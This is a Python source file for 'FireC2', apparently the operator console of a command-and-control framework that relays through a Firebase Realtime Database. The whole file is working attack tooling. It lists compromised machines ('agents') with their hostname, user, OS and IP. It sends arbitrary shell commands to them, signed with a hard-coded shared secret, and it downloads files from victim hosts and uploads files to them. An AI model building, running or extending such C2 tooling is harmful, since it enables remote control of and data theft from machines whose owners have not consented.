console.py

import os
import sys
import uuid
import time
import hmac
import base64
import hashlib
import requests
import gzip

from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.layout import Layout
from rich.live import Live
from rich.text import Text
from datetime import datetime
from pathlib import Path

from prompt_toolkit import PromptSession
from prompt_toolkit.history import InMemoryHistory
from prompt_toolkit.key_binding import KeyBindings
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.completion import WordCompleter


# ===== CONFIG =====
tenant_id = str(sys.argv[1]).strip()
FIREBASE = f"https://{tenant_id}.firebaseio.com/"
SECRET = b"shared-agent-secret"

# ---------- helpers ----------

history = InMemoryHistory()
kb = KeyBindings()


# Ctrl+D → exit shell
@kb.add("c-d")
def _(event):
    event.app.exit(exception=EOFError)


# Ctrl+C → cancel current input (bash behavior)
@kb.add("c-c")
def _(event):
    event.app.current_buffer.reset()


# Commands for autocomplete
commands = [
    "agents", "agents active", "agents dead", "use", "use last", 
    "history", "clear", "exit", "back", "download", "upload", 
    "cancel", "refresh", "export", "files", "kill", "info"
]

completer = WordCompleter(commands, ignore_case=True)

session = PromptSession(
    history=history,
    key_bindings=kb,
    completer=completer,
)


console = Console()


def clear_terminal():
    os.system("cls" if os.name == "nt" else "clear")


def safe_path(path: str) -> str:
    return base64.urlsafe_b64encode(path.encode()).decode().rstrip("=")


def fmt_time(ts):
    if not ts:
        return "N/A"
    return datetime.fromtimestamp(ts).strftime("%Y-%m-%d %H:%M:%S")


def decode_path(key: str) -> str:
    padding = "=" * (-len(key) % 4)
    return base64.urlsafe_b64decode(key + padding).decode()


def decompress_output(data):
    """Decompress gzipped output if needed"""
    if isinstance(data, dict):
        if data.get("compressed"):
            raw = gzip.decompress(base64.b64decode(data["data"]))
            return raw.decode('utf-8')
        return data.get("data", "")
    return data


def save_file(agent_id, key, data, base_dir="downloads"):
    """Save downloaded file in flat structure: downloads/agent_id/filename"""
    original_path = decode_path(key).lstrip("/")
    
    # Берём только имя файла без пути
    filename = Path(original_path).name
    
    # Плоская структура
    outpath = Path(base_dir) / agent_id / filename
    outpath.parent.mkdir(parents=True, exist_ok=True)

    raw = base64.b64decode(data["content"])

    with open(outpath, "wb") as f:
        f.write(raw)

    # Integrity check
    sha = hashlib.sha256(raw).hexdigest()
    if sha != data.get("sha256"):
        raise ValueError("SHA256 mismatch")

    return outpath


def relative_time(ts):
    if not ts:
        return "N/A"
    diff = int(time.time()) - ts
    if diff < 60:
        return f"{diff}s ago"
    elif diff < 3600:
        return f"{diff//60}m ago"
    elif diff < 86400:
        return f"{diff//3600}h ago"
    else:
        return f"{diff//86400}d ago"


def get_agent_status(last_seen):
    """Determine agent status based on last heartbeat"""
    if not last_seen:
        return "unknown", "dim"
    
    diff = int(time.time()) - last_seen
    
    if diff < 30:
        return "online", "bold green"
    elif diff < 120:
        return "idle", "yellow"
    else:
        return "offline", "red"


def render_agents(filter_status=None):
    """
    Render agents table with optional status filter
    filter_status: None (all), 'active' (online+idle), or 'dead' (offline)
    """
    agents = fb_get("agents") or {}

    if not agents:
        console.print("[yellow]No agents registered[/yellow]")
        return

    # Filter agents by status
    filtered_agents = {}
    for aid, data in agents.items():
        hb = data.get("heartbeat", {}).get("last_seen")
        status, _ = get_agent_status(hb)
        
        if filter_status == "active" and status in ["online", "idle"]:
            filtered_agents[aid] = data
        elif filter_status == "dead" and status == "offline":
            filtered_agents[aid] = data
        elif filter_status is None:
            filtered_agents[aid] = data
    
    if not filtered_agents:
        console.print(f"[yellow]No {filter_status or 'agents'} found[/yellow]")
        return

    # Build title based on filter
    if filter_status == "active":
        title = "🟢 Active Agents (Online + Idle)"
    elif filter_status == "dead":
        title = "🔴 Dead Agents (Offline)"
    else:
        title = "🔥 All Agents"

    table = Table(
        title=title,
        header_style="bold cyan",
        border_style="bright_black",
        show_lines=True
    )

    table.add_column("ID", style="bold green", no_wrap=True)
    table.add_column("STATUS", justify="center")
    table.add_column("HOST", style="white")
    table.add_column("USER", style="magenta")
    table.add_column("OS", style="yellow")
    table.add_column("ARCH", style="cyan")
    table.add_column("PID", justify="right")
    table.add_column("IP", style="blue")
    table.add_column("LAST SEEN", style="dim")

    for aid, data in filtered_agents.items():
        hb = data.get("heartbeat", {}).get("last_seen")
        meta = data.get("meta", {})
        
        status, status_style = get_agent_status(hb)

        table.add_row(
            aid,
            f"[{status_style}]●[/{status_style}] {status}",
            meta.get("hostname", "N/A"),
            meta.get("user", "N/A"),
            f'{meta.get("os", "N/A")} {meta.get("os_version", "")}',
            meta.get("arch", "N/A"),
            str(meta.get("pid", "N/A")),
            meta.get("ip", "N/A"),
            relative_time(hb),
        )

    console.print(table)
    console.print(f"[dim]Total: {len(filtered_agents)} agents[/dim]")


def fb_get(path):
    try:
        r = requests.get(f"{FIREBASE}/{path}.json", timeout=10)
        r.raise_for_status()
        return r.json()
    except requests.exceptions.RequestException as e:
        console.print(f"[red]Firebase error:[/red] {e}")
        return None


def fb_put(path, data):
    try:
        r = requests.put(f"{FIREBASE}/{path}.json", json=data, timeout=10)
        r.raise_for_status()
        return True
    except requests.exceptions.RequestException as e:
        console.print(f"[red]Firebase error:[/red] {e}")
        return False


def fb_delete(path):
    try:
        r = requests.delete(f"{FIREBASE}/{path}.json", timeout=10)
        r.raise_for_status()
        return True
    except requests.exceptions.RequestException as e:
        console.print(f"[red]Firebase error:[/red] {e}")
        return False


def sign(action, nonce):
    msg = f"{action}:{nonce}".encode()
    return hmac.new(SECRET, msg, hashlib.sha256).hexdigest()

# ---------- core ----------


def send_task(agent_id, action):
    task_id = str(uuid.uuid4())
    nonce = uuid.uuid4().hex

    task = {
        "action": action,
        "params": {},
        "nonce": nonce,
        "sig": sign(action, nonce),
        "status": "pending",
        "created": int(time.time())
    }

    if fb_put(f"tasks/{agent_id}/{task_id}", task):
        return task_id
    return None


def wait_result(agent_id, task_id, timeout=30):
    """Wait for result with progress indicator"""
    
    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        console=console,
        transient=True
    ) as progress:
        task = progress.add_task(f"Waiting for result...", total=None)
        
        start = time.time()
        while time.time() - start < timeout:
            res = fb_get(f"results/{agent_id}/{task_id}")
            if res:
                progress.stop()
                return res
            time.sleep(1)
        
        progress.stop()
    
    return {"ok": False, "error": "timeout"}


def show_history(agent_id):
    tasks = fb_get(f"tasks/{agent_id}") or {}
    results = fb_get(f"results/{agent_id}") or {}

    entries = []
    for tid, task in tasks.items():
        res = results.get(tid, {})
        
        # Handle compressed outputs
        stdout = decompress_output(res.get("stdout", ""))
        stderr = decompress_output(res.get("stderr", ""))
        
        entries.append({
            "task_id": tid,
            "cmd": task.get("action", ""),
            "stdout": stdout,
            "stderr": stderr,
            "returncode": res.get("returncode", 0),
            "created": task.get("created", 0),
            "finished": res.get("finished", 0)
        })

    entries = sorted(entries, key=lambda x: x["created"])

    if not entries:
        console.print(f"[yellow]No history for agent {agent_id}[/yellow]")
        return entries

    for i, entry in enumerate(entries, 1):
        dt = datetime.fromtimestamp(entry["created"])
        ts = dt.strftime("%Y-%m-%d %H:%M:%S")
        
        # Duration
        duration = "pending"
        if entry["finished"]:
            duration = f"{entry['finished'] - entry['created']}s"
        
        console.print(
            Panel(
                f"[bold cyan]{entry['cmd']}[/bold cyan]\n"
                f"[dim]ID: {entry['task_id']} | Time: {ts} | Duration: {duration}[/dim]",
                border_style="cyan"
            )
        )
        
        if entry["stdout"]:
            console.print(entry["stdout"])
        if entry["stderr"]:
            console.print(f"[red]{entry['stderr']}[/red]")
        console.print(f"[dim][returncode={entry['returncode']}][/dim]\n")
    
    return entries


def export_history(agent_id, filename=None):
    """Export history to text file"""
    entries = show_history(agent_id)
    
    if not entries:
        return
    
    if not filename:
        filename = f"history_{agent_id}_{int(time.time())}.txt"
    
    with open(filename, "w") as f:
        f.write(f"=== Agent {agent_id} History ===\n")
        f.write(f"Exported: {datetime.now()}\n\n")
        
        for entry in entries:
            f.write(f"Command: {entry['cmd']}\n")
            f.write(f"Time: {fmt_time(entry['created'])}\n")
            f.write(f"Task ID: {entry['task_id']}\n")
            f.write("-" * 80 + "\n")
            if entry["stdout"]:
                f.write(f"STDOUT:\n{entry['stdout']}\n")
            if entry["stderr"]:
                f.write(f"STDERR:\n{entry['stderr']}\n")
            f.write(f"Return code: {entry['returncode']}\n")
            f.write("=" * 80 + "\n\n")
    
    console.print(f"[bold green]History exported to:[/bold green] {filename}")


def show_files(agent_id):
    """Show downloaded files for an agent"""
    files_dir = Path("downloads") / agent_id
    
    if not files_dir.exists():
        console.print(f"[yellow]No files downloaded for agent {agent_id}[/yellow]")
        return
    
    table = Table(
        title=f"📁 Downloaded Files - {agent_id}",
        header_style="bold cyan",
        border_style="bright_black"
    )
    
    table.add_column("FILE", style="white")
    table.add_column("SIZE", justify="right", style="yellow")
    table.add_column("MODIFIED", style="dim")
    
    for filepath in files_dir.rglob("*"):
        if filepath.is_file():
            stat = filepath.stat()
            size = stat.st_size
            
            # Human readable size
            if size < 1024:
                size_str = f"{size}B"
            elif size < 1024**2:
                size_str = f"{size/1024:.1f}KB"
            elif size < 1024**3:
                size_str = f"{size/1024**2:.1f}MB"
            else:
                size_str = f"{size/1024**3:.1f}GB"
            
            table.add_row(
                str(filepath.relative_to(files_dir)),
                size_str,
                fmt_time(stat.st_mtime)
            )
    
    console.print(table)


def upload_file_to_agent(agent_id, local_path, remote_path):
    """Upload file from operator to agent host"""
    
    if not os.path.isfile(local_path):
        console.print(f"[red]Local file not found:[/red] {local_path}")
        return False
    
    with console.status(f"[bold cyan]Reading file {local_path}..."):
        with open(local_path, "rb") as f:
            content = f.read()
    
    sha256 = hashlib.sha256(content).hexdigest()
    size = len(content)
    
    # Check size limit (Firebase has 1MB per value limit)
    if size > 1_000_000:
        console.print(f"[red]File too large:[/red] {size/1024/1024:.2f}MB (max 1MB)")
        return False
    
    upload_id = str(uuid.uuid4())
    
    upload_data = {
        "path": remote_path,
        "sha256": sha256,
        "size": size,
        "uploaded": int(time.time()),
        "content": base64.b64encode(content).decode()
    }
    
    with console.status(f"[bold cyan]Uploading to agent..."):
        if not fb_put(f"uploads/{agent_id}/{upload_id}", upload_data):
            return False
    
    console.print(f"[dim]Upload {upload_id} sent, waiting for agent...[/dim]")
    
    # Wait for upload result
    start = time.time()
    timeout = 30
    
    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        console=console,
        transient=True
    ) as progress:
        task = progress.add_task(f"Agent processing upload...", total=None)
        
        while time.time() - start < timeout:
            res = fb_get(f"upload_results/{agent_id}/{upload_id}")
            if res:
                progress.stop()
                
                if res.get("ok"):
                    console.print(f"[bold green]✓[/bold green] {res.get('message', 'Upload successful')}")
                    return True
                else:
                    console.print(f"[red]✗ Upload failed:[/red] {res.get('error', 'Unknown error')}")
                    return False
            
            time.sleep(1)
        
        progress.stop()
    
    console.print("[yellow]Upload timeout - agent may process it later[/yellow]")
    return False


def cancel_task(agent_id, task_id):
    """Cancel a pending task"""
    if fb_put(f"tasks/{agent_id}/{task_id}/status", "cancelled"):
        console.print(f"[yellow]Task {task_id} cancelled[/yellow]")
        return True
    return False


def kill_all_tasks(agent_id):
    """Mark all pending tasks as cancelled"""
    tasks = fb_get(f"tasks/{agent_id}") or {}
    
    cancelled = 0
    for tid, task in tasks.items():
        if task.get("status") == "pending":
            if fb_put(f"tasks/{agent_id}/{tid}/status", "cancelled"):
                cancelled += 1
    
    console.print(f"[yellow]Cancelled {cancelled} pending tasks[/yellow]")


def show_agent_info(agent_id):
    """Show detailed agent information"""
    agent = fb_get(f"agents/{agent_id}")
    
    if not agent:
        console.print(f"[red]Agent {agent_id} not found[/red]")
        return
    
    meta = agent.get("meta", {})
    hb = agent.get("heartbeat", {}).get("last_seen")
    status, status_style = get_agent_status(hb)
    
    # Count tasks
    tasks = fb_get(f"tasks/{agent_id}") or {}
    pending = sum(1 for t in tasks.values() if t.get("status") == "pending")
    done = sum(1 for t in tasks.values() if t.get("status") == "done")
    
    info_text = f"""
[bold cyan]Agent ID:[/bold cyan] {agent_id}
[bold cyan]Status:[/bold cyan] [{status_style}]{status}[/{status_style}]
[bold cyan]Hostname:[/bold cyan] {meta.get('hostname', 'N/A')}
[bold cyan]User:[/bold cyan] {meta.get('user', 'N/A')}
[bold cyan]OS:[/bold cyan] {meta.get('os', 'N/A')} {meta.get('os_version', '')}
[bold cyan]Architecture:[/bold cyan] {meta.get('arch', 'N/A')}
[bold cyan]PID:[/bold cyan] {meta.get('pid', 'N/A')}
[bold cyan]IP:[/bold cyan] {meta.get('ip', 'N/A')}
[bold cyan]Transport:[/bold cyan] {meta.get('transport', 'N/A')}
[bold cyan]First Seen:[/bold cyan] {fmt_time(meta.get('first_seen'))}
[bold cyan]Last Seen:[/bold cyan] {fmt_time(hb)} ({relative_time(hb)})
[bold cyan]Tasks:[/bold cyan] {done} completed, {pending} pending
    """
    
    console.print(Panel(info_text.strip(), title=f"Agent Info", border_style="cyan"))


def print_result(res, console):
    """Print task result with decompression support"""
    stdout = decompress_output(res.get("output") or res.get("stdout", ""))
    stderr = decompress_output(res.get("error") or res.get("stderr", ""))
    returncode = res.get("returncode", 0)

    if stdout:
        console.print(stdout)
    if stderr:
        console.print(f"[red]{stderr}[/red]")
    
    # Show compression info if present
    if isinstance(res.get("stdout"), dict) and res["stdout"].get("compressed"):
        orig = res["stdout"]["original_size"]
        comp = res["stdout"]["compressed_size"]
        ratio = (1 - comp/orig) * 100
        console.print(f"[dim][compressed: {orig} → {comp} bytes ({ratio:.1f}% reduction)][/dim]")
    
    console.print(f"[dim][returncode={returncode}][/dim]")


# ---------- shell ----------


current = None

# Banner
console.print(r"""
  ______ _             _____ ___
 |  ____(_)           / ____|__ \
 | |__   _ _ __ ___  | |       ) |
 |  __| | | '__/ _ \ | |      / /
 | |    | | | |  __/ | |____ / /_
 |_|    |_|_|  \___|  \_____|____|
""", style="bold cyan")

console.print(
    Panel(
        "[bold yellow]Commands:[/bold yellow]\n"
        "  agents              - List all agents\n"
        "  agents active       - List only active agents (online + idle)\n"
        "  agents dead         - List only dead agents (offline)\n"
        "  use <id>            - Select agent\n"
        "  use last            - Select most recent agent\n"
        "  info                - Show detailed agent info\n"
        "  history             - Show command history\n"
        "  export [file]       - Export history to file\n"
        "  files               - Show downloaded files\n"
        "  download <path>     - Download file from agent\n"
        "  upload <local> <remote> - Upload file to agent\n"
        "  cancel <task_id>    - Cancel pending task\n"
        "  kill                - Cancel all pending tasks\n"
        "  refresh             - Refresh agent list\n"
        "  clear               - Clear terminal\n"
        "  back/exit-agent     - Deselect agent\n"
        "  exit                - Quit console",
        title="FireC2 Help",
        border_style="yellow"
    )
)

# Shell prompt generator


def shell_prompt():
    if current:
        # Show agent status in prompt
        agent = fb_get(f"agents/{current}")
        if agent:
            hb = agent.get("heartbeat", {}).get("last_seen")
            status, status_style = get_agent_status(hb)
            status_color = status_style.split()[1] if " " in status_style else "white"
            
            return HTML(
                f'<ansired>firec2</ansired> '
                f'(<{status_color}>{current}</{status_color}>) '
                f'<ansiblue>$</ansiblue> '
            )
        return HTML(
            f'<ansired>firec2</ansired> '
            f'(<ansigreen>{current}</ansigreen>) '
            f'<ansiblue>$</ansiblue> '
        )
    else:
        return HTML(
            '<ansired>firec2</ansired> '
            '<ansiblue>$</ansiblue> '
        )


# Main shell loop

while True:
    try:
        cmd = session.prompt(shell_prompt()).strip()
    except KeyboardInterrupt:
        console.print()
        continue
    except EOFError:
        console.print("\n[bold red]Exiting shell[/bold red]")
        break

    if not cmd:
        continue

    if cmd == "agents" or cmd == "refresh":
        render_agents()
        continue

    elif cmd == "agents active":
        render_agents(filter_status="active")  # Только online + idle
        continue

    elif cmd == "agents dead":
        render_agents(filter_status="dead")  # Только offline
        continue

    elif cmd.startswith("use "):
        target = cmd.split(maxsplit=1)[1]
        
        if target == "last":
            agents = fb_get("agents") or {}
            if agents:
                current = max(
                    agents.items(),
                    key=lambda x: x[1].get("heartbeat", {}).get("last_seen", 0)
                )[0]
                console.print(f"[bold green]✓ Using agent {current}[/bold green]")
            else:
                console.print("[yellow]No agents available[/yellow]")
        else:
            # Verify agent exists
            agent = fb_get(f"agents/{target}")
            if agent:
                current = target
                console.print(f"[bold green]✓ Using agent {current}[/bold green]")
            else:
                console.print(f"[red]Agent {target} not found[/red]")
        continue

    elif cmd == "info" and current:
        show_agent_info(current)
        continue

    elif cmd == "history" and current:
        show_history(current)
        continue

    elif cmd.startswith("export") and current:
        parts = cmd.split(maxsplit=1)
        filename = parts[1] if len(parts) > 1 else None
        export_history(current, filename)
        continue

    elif cmd == "files" and current:
        show_files(current)
        continue

    elif cmd.startswith("upload ") and current:
        parts = cmd.split(maxsplit=2)
        if len(parts) != 3:
            console.print("[yellow]Usage: upload <local_path> <remote_path>[/yellow]")
            continue
        
        local_path = parts[1]
        remote_path = parts[2]
        upload_file_to_agent(current, local_path, remote_path)
        continue

    elif cmd.startswith("cancel ") and current:
        task_id = cmd.split(maxsplit=1)[1]
        cancel_task(current, task_id)
        continue

    elif cmd == "kill" and current:
        kill_all_tasks(current)
        continue

    elif cmd in ["back", "exit-agent"]:
        if current:
            console.print(f"[yellow]Deselected agent {current}[/yellow]")
            current = None
        else:
            console.print("[yellow]No agent selected[/yellow]")
        continue

    elif cmd == "clear":
        clear_terminal()
        continue

    elif cmd == "exit":
        console.print("[bold red]Good bye![/bold red]")
        break

    elif current:
        task_id = send_task(current, cmd)
        
        if not task_id:
            console.print("[red]Failed to send task[/red]")
            continue
        
        console.print(f"[dim]Task {task_id} sent[/dim]")
        res = wait_result(current, task_id)
        print_result(res, console)

        # AUTO-FETCH FILE IF DOWNLOAD
        if cmd.startswith("download "):
            filepath = cmd.split(maxsplit=1)[1]
            key = safe_path(filepath)

            with console.status("[bold cyan]Fetching file from Firebase..."):
                data = fb_get(f"files/{current}/{key}")
            
            if data:
                try:
                    path = save_file(current, key, data)
                    console.print(f"[bold green]✓ File saved:[/bold green] {path}")
                except Exception as e:
                    console.print(f"[red]✗ Save failed:[/red] {e}")
            else:
                console.print("[red]✗ File not found in Firebase[/red]")

    else:
        console.print("[yellow]⚠ No agent selected - use 'use <id>' first[/yellow]")